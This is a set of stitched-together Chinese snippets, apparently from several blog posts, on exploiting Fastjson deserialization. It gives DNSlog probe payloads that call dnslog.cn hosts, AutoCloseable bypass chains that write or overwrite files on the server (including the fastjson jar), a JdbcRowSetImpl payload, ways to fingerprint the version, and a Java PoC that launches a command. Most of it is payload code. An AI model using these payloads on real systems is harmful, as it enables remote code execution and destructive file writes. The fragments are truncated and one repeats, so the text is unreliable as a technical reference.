这是很多新手,误以为能DNS出网,就认为存在fastjson漏洞,这是不正确的。 {"@type":"java.net.Inet6Address","val":"sdffsd.dnslog.cn"} {"@type":"java.net.Inet4Address","val":"xxxxx.dnslog.cn"} {"@type":"java.net.InetSocketAddress"{"address":,"val":"wefewffw.dnslog.cn"}} 以下这个PO...
{"x":{"@type":"java.lang.AutoCloseable","@type":"sun.rmi.server.MarshalOutputStream","out":{"@type":"java.util.zip.InflaterOutputStream","out":{"@type":"java.io.FileOutputStream","file":"/root/tomcat8/webapps/fastjson/WEB-INF/lib/fastjson-1.2.46.jar","append":false},"infl":...
不在fastjson的黑名单类中 其父类和父类接口不在黑名单中 并且还需要其构造方法,setter,getter 能实现 rce,看师傅们写的继承于 java.lang.AutoCloseable 的类能够导致的漏洞: payload {"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"127.0.0.1","portToCo...
"@type":"java.lang.AutoCloseable", "@type":"sun.rmi.server.MarshalOutputStream", "out": { "@type":"java.util.zip.InflaterOutputStream", "out": { "@type":"java.io.FileOutputStream", "file":"/tmp/asdasd", "append": true }, "infl": { "input": { "array":"eJxLLE5JTCkGAAh5...
可以通过构造特殊的 JSON 输入来触发 Fastjson 的异常,从而获取其版本号。 具体方法如下: 利用AutoCloseable 类: 当使用 JSON.parse(json) 方法解析 JSON 字符串,并且没有指定期望的类时,可以通过构造包含 @type 字段且值为 java.lang.AutoCloseable 的JSON 字符串来触发异常。如果异常处理不当,可能会暴露 Fastjson...
String payload_68 = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"ExecTest\"}"; JSON.parseObject(payload_68); } } 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 跟进代码看下 获取第一个类的class对象,直接从很缓存 mappings 中获取了,然后进行反...
1. {"@type": "java.lang.AutoCloseable" 2. ["test":1] 3. 输入一些乱码字符,让web应用报错,有时候也会带出来版本号。 第2个POC成功率不高,但是实战中成功过几次。 DNS请求判断 我曾经搭建了不同的fastjson漏洞环境,发现网上很多文章对于各种fastjson漏洞dnslog payload与fastjson版本号的对应描述都不准确,很...
{"test":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}} 版本:1.2.24-1.2.47 { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl" ...
1. {"@type": "java.lang.AutoCloseable" 2. ["test":1] 3. 输入一些乱码字符,让web应用报错,有时候也会带出来版本号。 第2个POC成功率不高,但是实战中成功过几次。 DNS请求判断 我曾经搭建了不同的fastjson漏洞环境,发现网上很多文章对于各种fastjson漏洞dnslog payload与fastjson版本号的对应描述都不准确,...
package Poc; import com.alibaba.fastjson.JSON; public class Poc_1_2_68 { public static void main(String[] args) throws Exception{ String payload = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"Poc.VulAutoCloseable\",\"cmd\":\"calc\"}"; JSON.parse(payload); } } package...